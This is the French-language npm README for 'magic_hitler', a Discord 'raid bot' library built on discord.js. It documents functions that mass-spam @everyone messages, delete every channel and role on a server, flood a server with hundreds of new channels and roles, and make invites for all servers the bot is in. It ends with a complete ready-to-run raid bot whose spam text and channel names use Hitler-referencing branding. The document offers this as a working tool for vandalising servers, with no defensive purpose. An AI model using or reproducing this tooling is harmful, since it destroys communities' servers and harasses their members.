magic_hitler
v1.0.4
Published
API Discord pour bot raid (discord.js)
Downloads
47
Maintainers
Readme
Magic Hitler
Discord Raid API
Nouveautés
Refonte à 100% de tout le fonctionnement de l'API
Pour installer Discord Raid Bot, éxecutez simplement la commande npm i magic_hitler
dans le dossier de votre
application Node.Js. Pour utiliser l'API de raid, intégrez les lignes suivante à votre code :
const Discord = require('discord.js');
const MagicHitler = require('magic_hitler');
const client = new Discord.Client();
const raid = new MagicHitler.Client({
client: client,
prefix: "!" // Optionnel ; Préfixe pour les commandes
});
Messages
Envoyer un message dans un salon spécifique
| Paramètre | Type | Optionnel | Description | | --- | --- | --- | --- | | message | String | Non | Message à envoyer| | commande | String | Non | Commande à envoyer pour déclencher la fonction|
raid.sendMessage(message, commande);
Spammer un message dans un ou plusieurs salons
| Paramètre | Type | Optionnel | Description | | --- | --- | --- | --- | | message | String | Non | Message à envoyer| | commande | String | Non | Commande à envoyer pour déclencher la fonction| | parametres | Object | Oui | Paramètres du spam| | parametres.messageNumber | Number | Oui | Nombre de messages à envoyer (500 par défaut)| | parametres.allChannels | Boolean | Oui | Spamme dans tous les salons du serveur si activé\
raid.spamMessages(message, commande, {
messageNumber: 500,
allChannels: false
});
Événements
Afficher quelques informations sur le bot dans la console
raid.ready();
Salons
Supprimer le salon dans lequel la commande est envoyée
| Paramètre | Type | Optionnel | Description | | --- | --- | --- | --- | | commande | String | Non | Commande à envoyer pour déclencher la fonction|
raid.deleteChannel(commande);
Supprimer tous les salons d'un serveur
| Paramètre | Type | Optionnel | Description | | --- | --- | --- | --- | | commande | String | Non | Commande à envoyer pour déclencher la fonction| | parametres | Object | Oui | Parametres de la suppression| | parametres.createChannel | Boolean | Oui | Crée un salon lorsque tous les autres sont supprimés| | parametres.createdChannelName | String | Oui | Nom du salon créé| | parametres.createChannelMessage | String | Oui | Message à envoyer dans le salon créé| | parametres.deleteSpecificChannels | Number | Oui | (Non compatible avec les autres paramètres) Supprime un nombre donné de salons seulement|
raid.deleteChannels(commande, {
createChannel: true,
createdChannelName: "nom-du-salon-créé",
createChannelMessage: "Message envoyé dans celui-ci"
});
Créer des salons sur un serveur
| Paramètre | Type | Optionnel | Description | | --- | --- | --- | --- | | commande | String | Non | Commande à envoyer pour déclencher la fonction| | parametres | Object | Oui | Parametres de la création| | parametres.createChannelName | String | Oui | Nom des salons créés| | parametres.sendMessageContent | String | Oui | Messages envoyés dans chaque nouveau salon| | parametres.sendMessageCount | Number | Oui | Nombre de messages envoyés dans chaque salon| | parametres.createChannelCount | Number | Oui | Nombre de salons créés (laisser vide pour que le nombre total de salons soit de 500)|
raid.createChannels(commande, {
createChannelName: "nom-des-salons-créés",
createChannelCount: 100,
sendMessageCount: 50,
sendMessageContent: "Message envoyé"
});
Créer une invitation pour un ou plusieurs serveurs
| Paramètre | Type | Optionnel | Description | | --- | --- | --- | --- | | commande | String | Non | Commande à envoyer pour déclencher la fonction| | allGuilds | Boolean | Oui | Crée une invitation pour tous les serveurs du bot|
raid.createInvite(commande, allGuilds);
Rôles
Supprimer tous les rôles d'un serveur
| Paramètre | Type | Optionnel | Description | | --- | --- | --- | --- | | commande | String | Non | Commande à envoyer pour déclencher la fonction|
raid.deleteRoles(commande);
Créer des rôles sur un serveur
| Paramètre | Type | Optionnel | Description | | --- | --- | --- | --- | | commande | String | Non | Commande à envoyer pour déclencher la fonction| | parametres | Object | Oui | Paramètres de la création| | parametres.rolesName | String | Oui | Nom des rôles à créer| | parametres.rolesNumber | Number | Oui | Nombre de rôles à créer|
Exemple complet de bot raid complet**
const Discord = require('discord.js');
const MagicHitler = require('magic_hitler');
const client = new Discord.Client();
const raid = new MagicHitler({
client: client,
prefix: "!"
});
raid.ready();
raid.sendMessage("Test réussi", "test");
raid.spamMessage("@everyone Raid by Magic Hitler", "spam", {
messageNumber: 100,
allChannels: false
});
raid.spamMessage("@everyone Raid by Magic Hitler", "spamAllChannels", {
messageNumber: 20,
allChannels: true
}); // On peut déclarer plusieurs fois la même fonction
raid.deleteChannel("del");
raid.deleteChannels("delAll", {
createChannel: true,
createdChannelName: "raid-by-magic-hitler",
createChannelMessage: "@everyone Raid by Magic Hitler"
});
raid.createChannels("create", {
createChannelName: "magic-hitler",
sendMessageContent: "@everyone Raid by Magic Hitler",
sendMessageCount: 3,
createChannelCount: 222
});
raid.createInvite("invite", false);
raid.createInvite("inviteall", true);
raid.deleteRoles("delRoles");
raid.createRoles("createRoles", {
rolesNumber: 69,
rolesName: "Magic Hitler"
});
client.login('token de votre bot');
Plus de 400 lignes de codes résumées en 31.